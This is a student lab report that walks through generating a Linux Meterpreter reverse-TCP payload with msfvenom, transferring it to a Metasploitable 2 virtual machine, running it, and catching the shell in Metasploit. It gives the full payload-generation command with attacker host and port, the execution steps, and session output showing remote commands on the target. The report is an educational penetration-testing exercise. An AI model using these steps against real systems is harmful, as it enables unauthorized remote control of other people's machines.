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Reverse Shell Payload

Creating and Deploying a Reverse Shell Payload Using msfvenom for Remote Access on a Vulnerable Metasploitable 2 Machine

YASRA KHAN
NED UNIVERSITY | BATCH 2022

Report

1. Objective

The objective of this exercise was to demonstrate the process of creating and deploying a reverse shell payload using msfvenom from a Kali Linux attacker machine to establish a remote command and control session on a Metasploitable 2 vulnerable machine. This exercise aimed to highlight the practical application of exploiting vulnerabilities in a controlled environment for ethical hacking purposes. By utilising msfvenom to generate a payload and leveraging Metasploit for exploitation, the goal was to gain a reverse shell connection on the target system (Metasploitable 2) from the attacker's machine (Kali Linux), simulating a real-world attack scenario.

2. Environment Setup

Component	Details
Attacker Machine	Kali Linux (IP: 192.168.0.108)
Target Machine	Metasploitable 2 (IP: 192.168.0.103)
Payload Type	Reverse TCP
Tools Used	msfvenom, Metasploit Framework
Port Used	4444

```
[sudo] password for yasra:
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.108 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::a00:27ff:fe5a:5b95 prefixlen 64 scopeid 0×20<link>
ether 08:00:27:5a:5b:95 txqueuelen 1000 (Ethernet)
              RX packets 76 bytes 13123 (12.8 KiB)
             RX errors 0 dropped 0 overruns 0 frame 0
TX packets 27 bytes 3888 (3.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
              inet 127.0.0.1 netmask 255.0.0.0
              inet6 :: 1 prefixlen 128 scopeid 0×10<host>
               loop txqueuelen 1000 (Local Loopback)
              RX packets 4 bytes 240 (240.0 B)
             RX errors 0 dropped 0 overruns 0
TX packets 4 bytes 240 (240.0 B)
                                                                            frame 0
              TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
      ping 192.168.0.103
PING 192.168.0.103 (192.168.0.103) 56(84) bytes of data.
64 bytes from 192.168.0.103: icmp_seq=1 ttl=64 time=12.8 ms
64 bytes from 192.168.0.103: icmp_seq=2 ttl=64 time=9.07 ms
64 bytes from 192.168.0.103: icmp_seq=3 ttl=64 time=4.68 ms
^C
      192.168.0.103 ping statistics
3 packets transmitted, 3 received, 0% packet loss, time 2016ms rtt min/avg/max/mdev = 4.677/8.866/12.848/3.339 ms
```

Both the **Kali Linux machine (attacker)** and the **Metasploitable 2 machine (target)** were set up within a virtualized network using a bridge adapter to ensure both machines were on the same local network.

The target machine (Metasploitable 2) is intentionally vulnerable, with various open ports and services designed to mimic common security flaws that may be exploited by attackers. **ping** ensure both Kali and Metasploitable 2 are reachable over the network

3. Payload Creation

Using **msfvenom**, a Linux payload is generated in ELF format.

msfvenom is a command-line tool within the **Metasploit Framework** used to generate and encode payloads. It combines the functionality of **msfpayload** (for generating payloads) and **msfencode** (for encoding payloads) into a single, streamlined utility.

Command Used:

```
(root@ kali)-[~]

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=4444 -f elf > reverse_tcp.elf

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 123 bytes

Final size of elf file: 207 bytes

(root@ kali)-[~]
```

Explanation:

- **-p linux/x86/meterpreter/reverse_tcp:** Specifies the payload (Linux Meterpreter reverse TCP).
- LHOST: Attacker machine's IP address (Kali Linux) i.e. 192.168.0.108.
- **LPORT:** Listening port on the attacker machine **i.e.** 4444.
- -f elf: File format for the payload (ELF for Linux executables).
- > reverse_tcp.elf: Saves the payload as reverse_tcp.elf.

Output:

• Payload file **reverse tcp.elf** created in the current working directory (root).

```
(root@ kali)-[~]
pwd
/root

(root@ kali)-[~]
| ls
reverse_tcp.elf
```

4. Transferring Payload to Metasploitable Machine Hosting Payload on Kali:

The payload file (reverse_tcp.elf) was transferred to the Metasploitable 2 using python3 command

Purpose: This command creates a simple HTTP server in the current directory, allowing files to be shared over the network.

Command:

Explanation:

- **python3:** Specifies the Python 3 interpreter.
- **-m http.server:** Tells Python to use the built-in HTTP server module to serve files in the current directory.

Scenario: On the **Kali Linux** machine, this command allows the payload file (**reverse_tcp.elf**) to be shared over HTTP, making it accessible to other machines on the network. Any machine with network connectivity and the correct IP address can download the file.

Downloading payload on Metasploitable 2 (receiver)

Purpose: wget is a command-line utility used to download files from the web or HTTP servers.

Command:

Explanation:

- wget: The tool used to fetch files over HTTP/HTTPS.
- http://192.18.0.108/reverse tcp.elf: Specifies the full path of the file to be downloaded.
- **8000:** Specifies the port

Scenario: On the **Metasploitable 2** machine, the wget command connects to the Kali Linux machine's HTTP server and downloads the reverse shell payload (reverse_tcp.elf).

5. Executing the Payload

On the Metasploitable 2 machine

```
nsfadmin@metasploitable:~$ chmod +x reverse_tcp.elf
nsfadmin@metasploitable:~$ ./reverse_tcp.elf
```

After the payload was successfully transferred, it was executed on the target machine, which initiated a connection back to the attacker's machine.

6. Setting Up Metasploit Listener

Metasploit Framework is one of the most popular and powerful tools used for penetration testing, vulnerability assessment, and ethical hacking. It provides a comprehensive suite of tools for developing, testing, and executing exploit code against a remote target machine

- 1. **Exploits**: Scripts that target vulnerabilities in systems or applications.
- 2. **Payloads**: Code executed on the target system after exploitation, such as reverse shells or Meterpreter sessions.

Metasploit is configured to listen for the reverse connection on the Kali Linux attacker machine.

Steps:

Start Metasploit:

msfconsole

Set Up Multi/Handler:

- o **use exploit/multi/handler:** Sets up a handler to catch the reverse connection.
- o **set payload:** Matches the payload type used in msfvenom.
- o **LHOST and LPORT:** Attacker IP and listening port.

7. Successful Reverse Shell Connection

After executing the payload on the Metasploitable 2 machine, the reverse shell connection was established, and the attacker's Kali Linux machine received a shell prompt allowing for remote interaction.

Output on Metasploit:

```
meterpreter > ls
Listing: /home/msfadmin
                                 Type Last modified
Mode
                       Size
                                                                           Name
                                         2010-03-16 19:01:07 -0400
020666/rw-rw-rw-
                                                                          .bash_history
040755/rwxr-xr-x 4096
                                 dir
                                        2010-04-17 14:11:00 -0400
                                        2024-12-18 06:25:02 -0500
                                                                           .gconf
040700/rwx----
                      4096
                                        2024-12-18 06:25:32 -0500
040700/rwx-
                                                                           .gconfd
                       4096
                                 dir
                                        2010-03-16 19:12:59 -0400
100644/rw-r--r--
                                                                           .profile
                                        2012-05-20 14:22:32 -0400
2010-05-17 21:43:18 -0400
2024-10-14 03:53:42 -0400
2024-12-17 14:43:02 -0500
100700/rwx-
040700/rwx-
                      4096
                                                                           .sudo as admin_successful
100644/rw-r--r--
                      0 -
100644/rw-r--r-- 294
100644/rw-r--r-- 133543
100755/rwxr-xr-x 207
                                                                           fake.desktop
                                        2024-12-17 14:35:19 -0500
                                                                           funny.zip
                                         2024-12-18 06:14:45 -0500
                                                                           reverse_tcp.elf
040755/rwxr-xr-x 4096
                                dir 2010-04-27 23:44:17 -0400 vulnerable
meterpreter > shell
Process 4815 created.
Channel 1 created.
Terminate channel 1? [y/N] n
ifconfig
            Link encap:Ethernet HWaddr 08:00:27:1d:d3:d5 inet addr:192.168.0.103 Bcast:192.168.0.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe1d:d3d5/64 Scope:Link
eth0
            UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:851 errors:0 dropped:0 overruns:0 frame:0
            TX packets:516 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:1086678 (1.0 MB) TX bytes:48021 (46.8 KB)
            Base address:0×d020 Memory:f0200000-f0220000
            Link encap:Local Loopback
            inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
            RX packets:318 errors:0 dropped:0 overruns:0 frame:0
            TX packets:318 errors:0 dropped:0 overruns:0 carrier:0
             collisions:0 txqueuelen:0
            RX bytes:129013 (125.9 KB) TX bytes:129013 (125.9 KB)
```

```
meterpreter > shell
Process 4815 created.
Channel 1 created.
Terminate channel 1? [y/N] n
ifconfig
              Link encap:Ethernet HWaddr 08:00:27:1d:d3:d5
eth0
              inet addr:192.168.0.103 Bcast:192.168.0.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe1d:d3d5/64 Scope:Link
             UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:851 errors:0 dropped:0 overruns:0 frame:0
              TX packets:516 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:1000
              RX bytes:1086678 (1.0 MB) TX bytes:48021 (46.8 KB)
Base address:0×d020 Memory:f0200000-f0220000
              Link encap:Local Loopback
              inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1
              RX packets:318 errors:0 dropped:0 overruns:0 frame:0
              TX packets:318 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0
              RX bytes:129013 (125.9 KB) TX bytes:129013 (125.9 KB)
pwd
/home/msfadmin
/bin/sh: line 4: sysinfo: command not found
whoami
msfadmin
echo "HELLO"
echo "IM THE ATTACKER"
IM THE ATTACKER
```

```
Terminate channel 1? [y/N] y

meterpreter > sysinfo

Computer : metasploitable.localdomain

OS : Ubuntu 8.04 (Linux 2.6.24-16-server)

Architecture : i686

BuildTuple : i486-linux-musl

Meterpreter : x86/linux

meterpreter >
```

```
meterpreter > Interrupt: use the 'exit' command to quit
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.103 - Meterpreter session 1 closed. Reason: Died
msf6 exploit(multi/handler) >
```

To confirm access, the following Meterpreter commands are executed on the Kali attackers computer:

Ls- to list the directories on Metaspoiltable 2 from my kali Linux environment

Shell- In **Meterpreter**, a part of the Metasploit Framework, the shell command is used to drop into a standard system shell on the compromised target. This allows you to interact with the target system as if you were physically present, using native operating system commands.

Sysinfo- to find out the information of the target system

10. Conclusion

This report demonstrates a successful exploitation process using **msfvenom** to create a reverse shell payload and **Metasploit** to gain remote access to the **Metasploitable 2** machine. This exercise highlights the importance of securing vulnerable systems and mitigating reverse shell attacks through firewall rules, intrusion detection systems, and proper patch management.

11. Ethical Consideration

- This exercise was conducted in a controlled, legal, and ethical environment, where both the attacker and the target machine were set up for security research and education.
- The purpose was to understand how vulnerabilities can be exploited in real-world scenarios and to emphasize the importance of securing systems against such attacks.
- The project provided hands-on experience in penetration testing and exploitation techniques used by attackers, offering valuable insights into cybersecurity defence strategies.

12. References

[1] https://www.vulnhub.com/entry/metasploitable-2,29/

(site used to download the vulnerable machine)

[2] https://app.grammarly.com/

(Grammarly a writing tool is used to ensure seamless writing)